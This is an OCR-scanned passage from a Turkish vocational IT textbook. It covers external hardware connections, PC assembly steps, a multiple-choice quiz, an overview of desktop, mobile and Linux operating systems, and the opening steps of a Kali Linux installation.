Ag aygitlari, bilgisayarin aga veya internete baglanmasini saglayan modem ve ag kartlari gibi
donanim aygitlandir.

Projektorler
Projektorler, sunum veya konferanslarda ekrana veya ylizeye goriinti yansitmak icin kullanihr.
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3.2.1. Dis Donanim Birimlerinin Baglantilar

Arabirimler ve baglantilar, dis donanim birimlerinin bilgisayarlarla etkili bir sekilde iletisim kurmasini
saglar. Gorsel 3.33'te goriuldiigu tzere cihaz tirine bagli olarak farkh tiir baglantiya ihtiyag duyulabilir.
ihtiyac duyulan baglantinin tiiriinii tespit etmek icin ilgili cihazin belgelerine veya kullanim kilavuzlarina
bakilabilir.

Oaxml

Ophcal

COMPONENT VIDEO OUT _ AUDIO OUT HDMI

Gorsel 3.33: USB, HDMI, VGA, Ethernet baglantilari

e USB (Universal Serial Bus)
USB en yaygin kullanilan baglant tlrlerinden biridir. Klavye, fare, yazici, tarayici, harici depolama
aygitlar ve diger bircok dis donanimi bilgisayara baglamak igin kullanilir. Cesitli tirleri vardir.
Bunlardan bazilari; USB Type-A, USB Type-B, USB Type-C ve farkli versiyonlaridir (USB 1.0, USB 2.0,
USB 3.0, USB 3.1 vb.).

e HDMI (High Definition Multimedia Interface)
HDMI, ses ve video aktarimi icin kullanilir. Ozellikle monitér, projektér ve televizyonlar bir HDMI
baglantisi kullanarak bilgisayara baglanir.

e DisplayPort
DisplayPort, video ve ses aktarimiicin kullanilir. Yiksek kaliteli monitérlerde de kullanimi yaygindir.

e Ethernet
Ethernet, bilgisayarlari aga veya internete baglamak icin kullanilir. Kablolu baglantiyla glivenilir ve
hizli bir kullanim saglar.

e VGA (Video Graphics Array) ve DVI (Digital Visual Interface)
VGA ile DVI, video aktarim standartlari olarak eski teknoloji monitor ve projektorlerde kullanilir.

e Ses Jaklan
Kulakliklar, hoparlorler veya mikrofonlar genellikle 3,5 mm ses jaki ile bilgisayara baglanir.

e Wi-Fi ve Bluetooth

Kablosuz baglantilar, mobil cihazlar ve aksesuarlar igin yaygin olarak kullanilir. Wi-Fi internete
baglantiicin kullanilirken Bluetooth ise genellikle kulaklik, klavye, fare gibi kisisel cihazlarla baglanti

kurmak igin kullanihr.

e —
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3.2.2. Dis Donanim Birimlerinin Montaji

Dis donanim birimlerinden HDMI, USB girisli klavye, yazici ve hoparlorleri bilgisayarda bulunan girislere
zorlamadan takmak 6nemlidir.

9. UYGULAMA Dis donanim birimlerinden HDMI, USB girisli klavye ve yaziciile hoparl6rin
bilgisayara Gorsel 3.34’teki baglantilardan montajini asagidaki adimlar
dogrultusunda gercgeklestiriniz.

Gorsel 3.34: Dis donanim birimleri baglantilari

1. Adim: HDMI kablosunun bir ucunu monitériin HDMI portuna, diger ucunu ise ekran kartinin HDMI
portuna takarak monitoriin gli¢ kablosunu prize baglayiniz.

2. Adim: USB girisli klavye ve fareyi anakart arka panelindeki USB portlarina baglayiniz.

3. Adim: Yazicinin USB kablosunu anakart arka panelindeki bos bir USB portuna takiniz.

4. Adim: Masalstl hoparlérlerin 3,5 mm ses kablosunu anakart arka panelindeki ses ¢ikis portuna

takiniz.

SIRA Siz de anakart, islemci, RAM, gli¢c kaynagi, ekran karti, SSD, HDD ve c¢esitli
m dis donanimlarin (monitor, klavye, fare, yazici vb.) baglantilarini yapiniz.

i¢ ve dis donanim birimlerinin bilgisayara takildiktan sonra ¢alisip calismama durumlarinin kontrolii
yapilmalidir.

10. UYGULAMA I¢c (anakart, islemci, RAM, giic kaynag, ekran karti, SSD, HDD vb.) ve cesitli
dis donanimlarin (monitor, klavye, fare, yazici vb.) baglantisini asagidaki
adimlar dogrultusunda gercgeklestiriniz.

1. Adim: Montaj islemi 6ncesi statik elektrik 6nlemlerini (antistatik bileklik veya eldiven kullanmak gibi)
aliniz.

2. Adim: Anakarti kasanin igine yerlestirerek kasanin deliklerine uygun vidalarla sabitleyiniz.

3. Adim: islemciyi anakartta bulunan islemci yuvasina dogru yénde yerlestirerek islemci yuvasinda
bulunan kilit mekanizmasiyla sabitleyiniz.



3. OGRENME BiRiMi
4. Adim: islemciye termal macun siiriip, sogutucuyu islemcinin {izerine yerlestirerek vidalarla anakarta

sabitleyiniz.

5. Adim: Anakarttaki bellek slotlarina RAM modiillerini dogru yonde ve tamamen oturacak sekilde
yerlestiriniz.

6. Adim: Gli¢ kaynagini kasaya yerlestirerek anakarttaki glic konnektorlerine giic kablolarini baglayiniz.
7. Adim: PCle slotuna ekran kartini yerlestirerek vidalarla sabitleyiniz.

8. Adim: Sabit diskleri kasadaki ilgili bolime yerlestirerek SATA kablosunu siirliciilerden anakartin SATA
portlarina baglayiniz.

9. Adim: Klavye ile fareyi anakartin USB portlarina ve monitori de ekran kartinin video ¢ikis portuna
baglayiniz.

10. Adim: Kablo baglantilarini ve bilesenlerin sabitlendigini kontrol ediniz.
11. Adim: Bilgisayari gli¢ kaynagina baglayip acarak ¢alistiriniz.

Yukarida verilen adimlar farkli donanim model ve tiiriine gore degiskenlik gosterebilir. Bu nedenle
donanimlara iliskin kullanim kilavuzlarini incelemek gereklidir.

11. UYGULAMA Yazici kurulumu kisisel ve kurumsal bilgisayarlar igin sik gerceklestirilen
bir islemdir. Bilgisayariniza yazici kurma ve ¢ikti alma islemini asagidaki
| s adimlar dogrultusunda gergeklestiriniz.
1. Adim: Yaziciyi diizgiin bir ylzeye yerlestirerek elektrik kaynagina baglayip calistiriniz.
2. Adim: Yazicinin mirekkep kartus veya tonerini dogru sekilde yerlestiriniz.

3. Adim: Yaziciya kagit yerlestiriniz.

4. Adim: Yaziciyla bilgisayari USB kablosunun bir ucunu yazicinin USB portuna, diger ucunu bilgisayarinizin
USB portuna takarak baglayiniz (Eger yaziciniz kablosuz 6zellige sahipse bilgisayarinizdaki Wi-Fi ayarlarini
acarak yazicinizin agina baglaniniz.).

5. Adim: Yazicinin siirliclisini varsa CD’sinden, yoksa Uretici firmanin web sitesinden indirerek
yukleyiniz.

6. Adim: Siriciniln yiklenmesi sonrasinda yaziclyi varsayilan olarak ayarlayiniz.
7. Adim: Bilgisayarinizdan giktisini alacaginiz belgeyi aginiz.
8. Adim: Dosya menisiindeki Yazdir secenegine tiklayiniz.

9. Adim: Yazdirma ayarlarini (yazicidan almak istediginiz kopya sayisi, yazdirilacak sayfalar, yazdirma
rengi vb.) yapiniz.

10. Adim: Yazdir diigmesine tiklayarak yazicinin belgeyi yazmasini bekleyiniz.

SIRA Dis donanim birimlerini (TV veya monitor, USB girisli klavye ve fare, yazici,

masaustl hoparlor vb.) kilavuzlarini okuyarak uygun sekilde laptopunuza
m baglayiniz.




DONANIM BiRiIMLERI

OLCME VE DEGERLENDIRME

Asagidaki sorulari dikkatlice okuyarak dogru cevabi isaretleyiniz.

1. Asagidakilerden hangisi bilgisayarin beyni olarak kabul edilen i¢ donanim birimidir?

A) Hard Disk Siruci

B) Anakart

C) Merkezi islem Birimi (CPU)
D) Grafik islem Birimi (GPU)
E) Bellek (RAM)

2. Asagidakilerden hangisi bilgisayardaki ¢calisan uygulamalarin saklandigi i¢ donanim birimidir?

A) Anakart

B) Hard Disk Sartici

C) Merkezi islem Birimi (CPU)
D) Grafik islem Birimi (GPU)
E) Bellek (RAM)

3. Asagidakilerden hangisi bilgisayarda asiri iIsinmayi 6nlemek ve sistemin diizgiin bir sekilde ¢alis-
masini saglamak i¢in kullanilan i¢ donanim birimidir?

A) Bellek (RAM)

B) Merkezi islem Birimi (CPU)
C) Sogutma Sistemi

D) Hard Disk Surici

E) Anakart

4. Genellikle bir bilgisayar montajinin ilk adiminda kasaya hangi bilesen yerlestirilir?
A) Glg kaynagi B) Hard disk
C) RAM D) Anakart
E) Grafik kart
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5. CPU’nun altina monte edilerek bilgisayarin asiri i1sinmasini onleyen i¢ donanim birimi
asagidakilerden hangisidir?

A) RAM B) Sogutucu
C) Hard disk D) Grafik kart
E) Glic kaynagi

6. Bilgisayardaki belgeleri veya dosyalari fiziksel formatlara donistiiren dis donanim birimi asagi-
dakilerden hangisidir?

A) Hoparlor B) Klavye
C) Monitor D) Tarayicl
E) Yazicl

7. Bilgisayarin aga veya internete baglanmasini saglayan dis donanim birimi asagidakilerden han-
gisidir?
A) Hoparlor B) Klavye
C) Modem D) Tarayicl
E) Yazicl

8.Bilgisayarinagaveyainternete kabloluolarak baglanmasinisaglayan baglantitiiriiasagidakilerden
hangisidir?

A) DisplayPort B) Ethernet

C) HDMI D) USB
E) VGA

9. Asagidakilerden hangisi bilgisayardan monitore yiiksek ¢oziinirliiklii video ve ses aktarimi igin
kullanihir?

A) Ethernet B) VGA
C) USB Type-C D) HDMI

E) 3,5 mm ses jaki

10. Kablosuz klavye veya fare icin kullanilabilecek baglant: tiirii asagidakilerden hangisidir?
A) Bluetooth B) DisplayPort

C) Ethernet D) HDMI
E) VGA
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ISLETIM SISTEMLERI
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KONULAR

4.1. MASAUSTU (KISISEL + isletim sistemlerini agiklama
BiLGISAYAR) VE MOBIL ISLETIM -+ Sunucu isletim sistemlerini aciklama
SISTEMLERI - Sanallastirma teknologjisini agiklama

4.2, SUNUCU iSLETIM SiSTEMLERI + Bulut bilisim teknolojisini agiklama

4.3. SANALLASTIRMA
4.4. BULUT BILiSiM

ANAHTAR KAVRAMLAR

Ag, arsiv, bulut bilisim, dizin, dos komutu, dosya, grup, hipervizor, istemci, komut satiri, kullanici,
kurulum, nano editér, powershell komutu, sanallastirma, servis, sunucu, slire¢ yonetimi, yetki
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Y 's—a B HAZIRLIK GALISMALARI
: 1. Kisisel bilgisayarinizda kullanacaginiz isletim sistemi seciminde hangi
= e faktorlerin etkili oldugunu distindyorsunuz? Distincelerinizi arkadaslarinizla

paylasiniz.
2. lsletim sisteminin bulut tabanli olmasi size ne gibi avantajlar sunabilir?
Arkadaslarinizla degerlendirme yapiniz.

4.1. MASAUSTU (KiSISEL BiLGISAYAR) VE MOBIL iSLETiM SISTEMLERI

Bilgisayar, donanim ve yazilim olmak Uzere iki temel bilesenden olusur. Bilgisayar ve kullanici etkilesimi,
bilgisayar sistemini olusturur (Sekil 4.1). Bir bilgisayar sisteminin ¢alisabilmesi icin donanim ile kullanici
arasindaki iletisimi saglayan ve donanim kaynaklarina dogrudan miidahale edebilen bir sistem

yazilimina ihtiyag vardir. Bu sistem yazilimina

f isletim sistemi adi verilir. Bir bilgisayar
s KULLANICI sisteminin verimliligi, donanim ve yazilm
- \ kaynaklarinin kullanicilar arasinda adil bir
g UYGULAMA YAZILIMLARI s bicimde paylasiimasina baghdir. Isletim
@ < = o sistemi, donanim ve yazilim kaynaklarinin
< N - . . ..
% . L. . g >g. paylasiimasini  kullanici isteklerine gore
P ISLETIM SISTEMI @ gerceklestirir.
7] <
= >
m DONANIM o Kullanicilar, komut satiri arayiizi (CLI) veya
\ / grafik kullanici arayizi (GUI) araciligiyla
isletim sistemine komutlar ve istekler
Sekil 4.1: Donanim, yazilim ve kullanici etkilesimi gonderir. Bu komut ve istekler isletim

sisteminin kullaniciyla iliskili bileseni olan
kabuk (shell) tarafindan kabul edilir. isletim sistemi, gelen istekleri islem sirasina alarak gerceklestirmeye
calisir. isletim sistemi, isleme alinan istekle ilgili donanim birimiyle iletisime gecer. Bu iletisim, isletim
sisteminin donanimla iliskili bileseni olan gekirdek (kernel) ile saglanir (Sekil 4.2). isletim sisteminin bir
donanimla iletisim kurabilmesi icin ilgili donanima ait siirtict yazilima sahip olmasi gerekir. Bu strtct
yazilimlar, bilgisayar donanimlarinin isletim sistemine tanitilmasini saglar.

Gelisen teknolojinin etkisiyle isletim sistemleri Donanim
sadece bilgisayarlarda degil cep telefonlarinda,
ag cihazlarinda, gomilla sistemlerde, video oyun Cekirdek (Kernel)

konsollarinda, akilli televizyonlarda, giyilebilir
teknolojilerde ve 1oT cihazlara donlsen ev
esyalarinda kullanilir hale geldi. Bu sayede isletim

Kabuk (Shell)

sisteminin kullanildigi cihaz cesitliligi artt. Bu Kullanici
durum beraberinde farkli amaglar icin farkl isletim Uygulamalarn
sistemlerinin gelistirilmesi ihtiyacini ortaya c¢ikardi

(Gorsel 4.1).

Sekil 4.2: isletim sistemi bilesenleri
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Gorsel 4.1: isletim sistemleri

4.1.1. istemci ve Sunucu Mimarisi

istemci-sunucu mimarisi bilgi islem teknolojilerinde oldukga yaygin bir sekilde kullanilir. Bu mimarinin
kullanildigi aglarda bulunan her bir bilgisayar, istemci (client) ve sunucu (server) rollerinden birini
ustlenir. istemci bilgisayarlar dogrudan sunucu bilgisayarlarla iletisim kurar. istemciler, sunucudan
hizmet veya veri isteginde bulunur. Sunucu bu istegi isler ve ilgili istemciye cevap olarak gonderir

(Gorsel 4.2).
Yo

— \_ Internet

i \"—,77 ,/}7
isTEMCI =

Gorsel 4.2: istemci ve sunucu mimarisi

Sunucular, yiiksek islem giicline sahip ve merkezi olarak yonetilen bilgisayar sistemleridir. Sunucular,
sahip olduklari kaynak ve verileri istemcilerle paylasabilir. Hatta e-posta, web, dosya transferi gibi
hizmetler sunucular tarafindan istemcilere saglanabilir. Sunucular, ag kullanicilarinin isteklerine hizmet
verebilmek icin sunucu igletim sistemlerini kullanir. Hizmet veren sunucular; sunucu isletim sistemi
lizerine kurulan hizmet yazilimlarina gére web sunucusu, mail sunucusu, dosya sunucusu, veri tabani
sunucusu, DNS sunucusu ve DHCP sunucusu seklinde isimlendirilir.

istemciler genellikle kullanicilara ait bilgisayar, akilli telefon, akilli kol saati gibi cihazlardir. istemcilerde
cihazin tiiriine gére masaiistii (kisisel bilgisayar) veya mobil isletim sistemleri kullanilir. istemciler,
sunucuya istek gondererek sunucudan hizmet alir. Kullanicilarin etkilesimde bulundugu web tarayici,
e-posta istemcisi, FTP istemcisi gibi uygulamalar istemci tarafinda galisir.

4.1.2. Mobil isletim Sistemleri

Gunumuizde kullanilan mobil teknolojiler daha ¢ok tasinabilir ve
giyilebilir cihazlardan olusur (Gorsel 4.3). Gelisen mobil teknolojiler
ve artan internet baglanti hizlari insanlarin ihtiyaglarini sanal
diinyadan karsilamaya tesvik eder. Bu duruma sosyal medya, internet
bankaciligl, e-ticaret, anlik mesajlasma uygulamalari gibi cesitli
hizmetlerin yaygin kullanimi 6rnek verilebilir. Mobil cihazlarin bu
hizmetleri saglarken sistem kaynaklarini en az seviyede kullanmasi
ve daha az eneriji tiketmesi son derece 6nemlidir. Mobil cihazlardaki
kaynak ve enerji yonetimi mobil isletim sistemleri araciligiyla
gerceklestirilir. Gorsel 4.3: Mobil cihazlar
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Mobil isletim sistemleri tasinabilir ve giyilebilir cihazlarin enerji tiiketimini optimize etmek, pil Gmriini
uzatmak ve performansini dengelemek icin gelismis enerji yonetimi 6zelliklerine sahiptir. Bu gelismis
ozellikler sayesinde uygulamalarin arka planda ¢alismasi sinirlandirilabilir, kullanilmayan sensorler
kapatilip gerektiginde acilabilir ve ekran parlakligi dizenlenebilir. Tim bu 6nlemler mobil cihazlarin
performansini olumsuz yonde etkilemeden gerceklesir. Mobil cihazlarin ve uygulamalarin verimliligi,
kararl galisan ve giincelligini koruyan mobil isletim sistemleriyle saglanir. Varhgini siirdiiren glincel ve
populer mobil isletim sistemlerine Android, iOS, HarmonyQS, KaiOS ve Tizen 6rnek verilebilir.

Android isletim Sistemi: Linux cekirdegi temel alinarak
olusturulmus acik kaynak kodlu ve Ucretsiz bir mobil isletim \ /

sistemidir (Gorsel 4.4). Android, agik kaynak yapisi nedeniyle - D
cihaz Ureticileri tarafindan daha ¢ok tercih edilir. “

ilk Android isletim sistemi olan Android 1.0 (Android Alpha)
Eylil 2008'de piyasaya surldlmis ve bu tarihten itibaren
surekli gelistirilmis ve glincellenmistir.
Android isletim sistemi mimarisi bes bolimden olusur. Bu
bolimler sunlardir:

e Linux Cekirdegi (Kernel) Gorsel 4.4: Android logosu
Android Runtime (Sanal Makine)
Sistem Kitlphaneleri

Uygulama Cergevesi (Framework)
e Yerlesik Uygulamalar

Android isletim sistemi mimarisini ve kisimlarini arastiriniz. Arastirma
sonucunuzu arkadaslariniz ve 6gretmeninizle paylasiniz.

i0S isletim Sistemi: Apple tarafindan gelistirilen Unix tabanli
cekirdek Uzerine insa edilmis kapall kaynak kodlu bir mobil
isletim sistemidir. iOS isletim sistemi sadece bu firmanin
Urettigi mobil cihazlarda kullanilir (Gorsel 4.5). Apple, iOS
isletim sistemini kendi donanim ve yazilim entegrasyonuyla
optimize ederek 6zellestirir. Bu 6zellestirilmis isletim sistemi
yalnizca Apple’in kendi cihazlarina 6nceden yiklenmis
olarak sunulur. Apple bu 6zelligi ile iOS isletim sistemi ve
cihazlarinin Gzerindeki tam kontroll koruyarak Grinlerinin
glvenligini ve butlnligunu saglar.

Gorsel 4.5: i0S isletim sistemi

ilk iOS isletim sistemi olan iOS 1 (iPhone OS 1) Haziran
2007’de diinyaya tanitilmis ve bu tarihten itibaren strekli gelistirilip glincellenmistir.

i0S isletim sistemi mimarisi dort katmandan olusur. Bu katmanlar sunlardir:

e Core OS Katmani

e Core Servis Katmani

¢ Medya Katmani

e Cocoa Touch (Uygulama) Katmani
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i0S isletim sistemi mimarisini ve katmanlarini arastiriniz. Arastirma sonucunuzu
arkadaslariniz ve 6gretmeninizle paylasiniz.

i0S isletim sistemi glvenlik ve kullanici deneyimi amaciyla tasarlanmistir. Herhangi bir mobil uygulama
ylklenmesi durumunda yalnizca kendi online magazasi olan AppStore kullanilir. Bu durum, kullanicilarin
daha glivenli ve kontrol edilebilir bir ortamda uygulama indirip kullanmasini saglamak amaciyla alinan
bir 6nlemdir.

Apple, i0S isletim sistemini diizenli olarak _ | .
glncelleyerek giivenlik agiklarina karsi daha hizli
onlemler alr. i0S; kisitli arka plan 6zelligi, gigli
sifreleme teknolojileri ve kapali ekosistemiyle
daha az saldiriya maruz kalr.

Son yillarda bulut tabanh hizmetlerin kullanimi
artis gostermistir (Gorsel 4.6). iCloud gibi bulut
sistemlerinde yasanan veri sizintilari kullanicilar
icin guvenlik riski olusturur. Bu tir sizintilar
kullanicilarin hassas verilerinin yetkisiz kisilerin
eline gecmesine yol acabilir. Bulut tabanh
hizmetlerin glivenligi hizmet saglayicilarin aldigi

glivenlik Onlemlerine ve kullanicilarin bilingli
davraniglarina baghdir. Gorsel 4.6: iCloud bulut hizmeti

oud Appie 1D.

gign in with youT icl

7
Forgot password of apple 107

HarmonyOS: Huawei tarafindan Nesnelerin interneti (loT) teknolojisi icin gelistirilen ve cesitli Huawei
cihazlarinda kullanilan bir mobil isletim sistemidir. Android tabanli olmayan cihazlarda alternatif olarak
kullaniimasi amaglanir.

KaiOS: Dusilk batceli akilli telefonlar ile tus takimi 6zellikli telefonlar icin gelistirilen Linux tabanli ve
disuk glc tiketimli bir mobil isletim sistemidir.

Tizen: Linux tabanli bir mobil isletim sistemidir. Akilli televizyonlarda ve giyilebilir cihazlarda kullanilir.

4.1.3. Linux isletim Sistemleri

Linux, gondlli yazilim gelistirme toplulugu
tarafindan gelistirilen, bircok platformda calisan,

g LY ) coklu gorev destegi sunan, ¢ok kullanicili
A yapisi olan ve acik kaynak kodlu bir isletim
‘ A sistemi cekirdegidir (Gorsel 4.7). Linux, Unix

isletim sistemi tasarim ilkelerinden esinlenerek
gelistirildigi icin Unix benzeri bir mimariye
sahiptir. Bu benzerlik; komut satiri arayizi,
dosya sistemi diizeni, ¢coklu kullanici, coklu gérev
destegi gibi 6zelliklerde gorilebilir. Linux ¢ekirdegi 1991 yilinda Linus Torvalds tarafindan Unix kaynak

kodu kullanilmadan sifirdan yazilmistir. Linux bu 6zelligi ile Unix’in bir tirevi olmadigini gosterir.

Gorsel 4.7: Tux, Linux ¢ekirdeginin resmi marka
karakteridir.
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Linux terimi ilk baslarda gelistirilen ¢ekirdek (kernel) i¢in kullanilir ancak bugtin, Linux c¢ekirdegi ve
onun etrafinda olusturulan cesitli yazimlarin bltiin olarak ifade edildigi bir isletim sistemi anlaminda
kullanilir. Linux terimindeki bu degisim, Linux ¢ekirdeginin kendisiyle sinirli kalmayarak GNU Projesi’nin
katkilariyla zenginlestirilmis olmasindan kaynaklanir. Bu nedenle 6zgir yazilim felsefesini benimseyen
topluluklar Linux isletim sistemine GNU/Linux adini verir.

Su anki Linux, aslinda GNU Projesi’nin bir Grintdir. GNU'nun agilimi GNU’s Not Unix (GNU, Unix
degildir.) olarak ifade edilir.

GPL, dort temel ozgirlik Uzerine insa edilmistir. Bu dort temel 6zgurligu
arastiriniz. Arastirma sonucunuzu arkadaslariniz ve 6gretmeniniz ile tartiginiz.

Linux hem bireysel kullanicilar hem de kurumsal ortamlar igin genis bir kullanim alanina sahiptir.
Cesitli dagitimlar aracihgiyla sunulan farkh arayiiz ve 6zellestirilmis yaziimlar sayesinde Linux, farkh
beklentilere ve ihtiyaglara hitap eder. Linux’un esnekligi, performansi, giivenlik 6zellikleri, agik kaynak
yapisi ve glicll topluluk destegi onu birgok kullanicinin tercih ettigi bir isletim sistemi haline getirir.

Acik kaynak gelistirici topluluklari tarafindan bircok Linux dagitimi gelistirilir (Gorsel 4.8).

_. i
; ; Cent0S
ubuntu archiinux gentoo linux "

© il =

5 penSUSE
parpus ielackvare debian manjaro [

Gorsel 4.8: Linux dagitimlari

Masalsti ve giivenlik kategorisindeki Linux dagitimlarindan bazilari Sema 4.1'de gosterilmistir.

Debian Slackware Fedora
Linux
]
Manjaro Red Hat

Enterprise Linux
BlackArch

Linux

openSUSE

Geckolinux

SUSE Linux
Enterprise

Sema 4.1: Linux dagitimlar
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Masalsti isletim sistemlerine 6rnek olarak verilen bazi Linux dagitimlari ile ilgili detaylar Tablo 4.1’de
verilmistir.

Tablo 4.1: Linux Dagitimlari

Dagitim Logosu Dagitim Adi Dagitim Detayi

debian

Debian

Acik kaynak ilkelerine baghlik, glicli paket yonetimi, stabilite ve
glvenlik odakli yaklasim, genis donanim destegi ve topluluk katki-
lariyla 6ne ¢ikan bir Linux dagiimidir. Gelismis bir paket yonetimi
sistemi olan APT’yi (Advanced Package Tool) kullanir. APT, kullani-
cilara yazilim kurma, giincelleme ve kaldirma gibi islemleri kolayca
gerceklestirme imkani sunar.

ubuntu

ubuntu

En cok kullanilan Linux dagiimlarindan biridir. Kullanici dostu ara-
ylzi, genis yazilim deposu, ozellestirilmis strliimleri ve cesitli 6zel-
likleriyle yaygin olarak tercih edilen bir dagiimdir. Kubuntu, Xubun-
tu, Zorin OS ve Linux Mint ubuntu’nun farkl masaisti ortamlariyla
ozellestirilmis dagiimlaridir. Bu dagitimlar farkli masaistii deneyim-
leri sunmak igin gelistirilmistir.

Pardus

Ulkemizdeki kamu kuruluslari ile kullanicilarin ihtiyaglarina cevap
vermek ve yazilim alaninda disa bagimliligi azaltmak icin TUBITAK
tarafindan gelistirilen bir Linux dagitimidir. Kullanici dostu arayiz,
glincel paket deposu, Tiirkce dil destegi ve yerel yazilim uygulamala-
riyla 6ne ¢ikan bir dagitimdir.

N

KALI LINUR

Kali Linux

Siber glvenlik ve sizma (penetrasyon) testleri icin 6zel olarak tasar-
lanmis bir Linux dagiimidir. Kali Linux, giincel ve test edilmis siber
glvenlik araglarini tek bir platformda sunar. Kali isletim sistemi bu
yoniyle siber glivenlik uzmanlarinin ve etik hackerlarin etkili bir se-
kilde calismasina olanak tanir.

Parrot OS

Sizma testi adli bilisim, tersine mihendislik ve anonimlik i¢in tasar-
lanmis birgok yardimci programi iceren, glivenlik ve gizlilik odakli bir
Linux dagitimidir.

Red Hat
Enterprise
Linux (RHEL)

is diinyasi ve kurumsal kullanicilar icin tasarlanmis giivenilir, istikrarli
ve desteklenen bir Linux dagitimidir. isletmeler icin dnemli olan gii-
venlik, destek ve performans gereksinimlerini karsilamak Uzere ta-
sarlanir. RHEL, resmfi destek ve hizmetler saglayan Ucretli bir isletim
sistemidir. RHEL, ticari pazara yonelik bir Linux dagitimidir.

CentOS

Red Hat Enterprise Linux (RHEL) kaynak kodlari kullanilarak olus-
turulan bir dagiimdir. Bu yoniyle CentOS, RHELin 6zelliklerine ve
paketlerine sahiptir. CentOS, isletmelerin RHEL ile benzer deneyim
elde etmelerini Gcretsiz bir sekilde saglar.

archlinux

Arch Linux

Yetkin Linux kullanicilarini hedefleyen, bagimsiz olarak gelistirilen,
etkili paket yonetimi ve minimalist yaklasimiyla 6ne ¢ikan bir dagi-
timdir. Hizh, kararli ve giincel bir dagitim olan Arch Linux, pacman
adi verilen bir paket yoneticisine sahiptir.
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Arch Linux tabanli, hizli, kullanici dostu ve masatistli odakl bir da-
gitimdir.
I Manjaro Linux

manjaro

- Kullanici dostu araylizii sayesinde yeni baslayanlar icin ideal bir
ﬁ Linux dagitimidir. Esnek yapilandirma segenekleri, glicli paket yo-

0enSUSE openSUSE netimi, zengin yazilim deposu, topluluk destegi ve grafiksel sistem
open A . e .
yonetimi 6ne ¢ikan 6zelliklerindendir.
Geleneksel ve sade bir yaklagimi benimseyen teknolojik karmasikhg
Slackware .rnlnl.mur.nda tll.ltarak k.uII-an|C|Iara.daha tevmel ve el ile yonetilebilir bir
Li isletim sistemi deneyimi sunan Linux dagitimidir.
inux
(slackware
Gentoo Yazilim gelistiricileri ile ag profesyonellerine yonelik ¢ok yonla, hizh
- - Linux ve tamamen Ucretsiz bir Linux dagitimidir. Diger Linux dagitimlarin-
’ dan farkli olarak kendine 6zgii bir derleme tabanli paket yonetimi
) sistemine sahiptir. Bu dagitim kullanicilara yazilimi kaynak kodundan
!]EI“I][I |II1IJI derleyerek kurma ve yapilandirma esnekligi sunar.

4.1.3.1. Linux isletim Sistemi Kurulumu

Bu 6grenme biriminde Linux masausti isletim sistemlerinden glivenlik kategorisinde yer alan Kali Linux
isletim sistemi kullanilacaktir.

1. UYGULAMA Kali Linux kurulumunu asagidaki adimlar dogrultusunda

gerceklestiriniz.

1. Adim: Kali Linux isletim sistemi ISO dosyasini indiriniz (Gorsel 4.9).

Installer Pre-built VMs ARM Mobile Cloud Containers Live WSL

Kali Linux 2023.2 Changelog *

Apple Silicon (ARME4)

Installer

Complete offline installation

with customization

-_— torrent

Gorsel 4.9: Kali Linux ISO dosyasini indirme
2. Adim: indirilen disk gériintisi ile 6nyiiklenebilir bir USB bellek hazirlayiniz.

3. Adim: Hazirladiginiz USB bellegi takarak bilgisayarinizi yeniden baslatiniz.

4. Adim: Bilgisayarin BIOS ayarlarina girip ilk agilis aygitini USB olarak degistiriniz (BIOS ayarlari yapil-
diktan sonra bilgisayar yeniden baslayarak kurulum ekrani agilir.).

88
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5. Adim: Kali Linux kurulum mensiinden Graphical install se¢cimini yapiniz (Gorsel 4.10).

KON G A

Kali Linux installer menu (BIOS mode)

Graphical install
Install
Advanced options

Accessible dark contrast installer menu
Install with speech synthesis

; a key, otherwise speech synth s will be started in 16 seconds...

Gorsel 4.10: Grafiksel kuruluma baslama

6. Adim: Dil se¢imini yapiniz (Gorsel 4.11).

l KALI I

Choose the language to be used for the installation process. The selected language will also be the default

Select a language

ge for the installed system.
Language:
Iwoveindan - Iovensiing A
Spanish - Espaiiol
Thai - mlve
Tibetan - Eim
Ukrainian - ¥EpaiHcbKa
Uyghur b
Vietnamese - Tiéng Viét
Welsh - Cymraeg
Screenshot

Go Back [ Cnn(iﬂue ]

Gorsel 4.11: Dil se¢cimini yapma

7. Adim: Konum se¢imini yapiniz (Goérsel 4.12).

KAL

Konum secimi

Burada sececeginiz alke, saat diliminizin ayarlanmasinda ve sistem yerelinin belirlenmesinde kullanilacaktir.
Genellikle, yasadiginiz ulkeyi secmeniz gerekir.

Bu liste sectiginiz dile bagh olarak gosterilen kisa bir listedir. Eger ulkeniz bu listede yoksa “diger”i segin.
Ulke, bélge veya alan:

Kibris

Turkiye
diger

Ekran goruntusa Geri don | Devam |

Gorsel 4.12: Konum segimini yapma



4. OGRENME BiRiMi

8. Adim: Klavye secimini yapiniz (Gorsel 4.13).

Klavye yapilandirmasi

Kullanilacak klavye dizeni:

Slovakga
Slovence
Ispanyolca
Isvecce

Tayca

Tibet

Turkge (F dazeni)
Turkce {(Q dozeni)
Ukrayna dili

Ekran gorantiisi | Geri don J Devam

Gorsel 4.13: Klavye se¢imini yapma

9. Adim: Ek bilesenler yiiklenirken bekleyiniz (Gorsel 4.14).

Kurulum bilesenlerini kurulum ort

nic-wireless-modules-6.1.0-kali9-amdé4-di aliniyor

Gorsel 4.14: Ek bilesenlerin yliklenmesi

10. Adim: Makine adini giriniz (Gorsel 4.15).

| KALI I

Ag1 yapilandir

Latfen bu sistemin makine adini girin.

Makine adi, sisteminizi aga tanitan tek bir sozcukten olusmaktadir. Makine adimizin ne oldugunu
bilmiyorsaniz, sistem yoneticinize basvurun. Eger kendi ev aginizi kuruyorsamiz herhangi bir ad
kullanabilirsiniz.

Makine adi:

[ okut ]

Ekran goruntusa Geri don ‘ [ Devam k

Gorsel 4.15: Makine adini belirleme
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11. Adim: Alan adini bos birakiniz (Gorsel 4.16).

KALI

Agr yapilandir

Alan adi, size ait internet adresinin bir bélumidir ve makine adinin sag tarafinda yer ali. Bu ad

genellikle .com, .net veya .org seklinde biter. Eger bir ev ag ayarliyorsaniz herhangi bir ad secebilirsiniz;
fakat tim makinelerde aym alan adini kullandiginizdan emin olun.

[
Alan adr:
[

[ ]

| Ekran gorantuasa } Geri don J [ Devam ]

Gorsel 4.16: Alan adini belirleme

12. Adim: Kullanici adini giriniz (Gorsel 4.17).

Kullamcilan ve parolalan olustur

idari olmayan etkinliklerde root kull 151 yerine kullanabil
olusturulacak.

iz icin normal bir kullanici hesaba

Lutfen kullanicinin gercek adini girin. Bu bilgi, ornegin, bu kull 1 tarafindan gonderilen e- I
ontanimh ad olarak kullanilacakur. Kullanicinin gercek adini kullanan veya gosteren pmgnmhr da bu biigiyl
esas alacakur. Bu alana “Ad Soyad” olarak tam adimi girmeniz uygun bir secim olacakur.

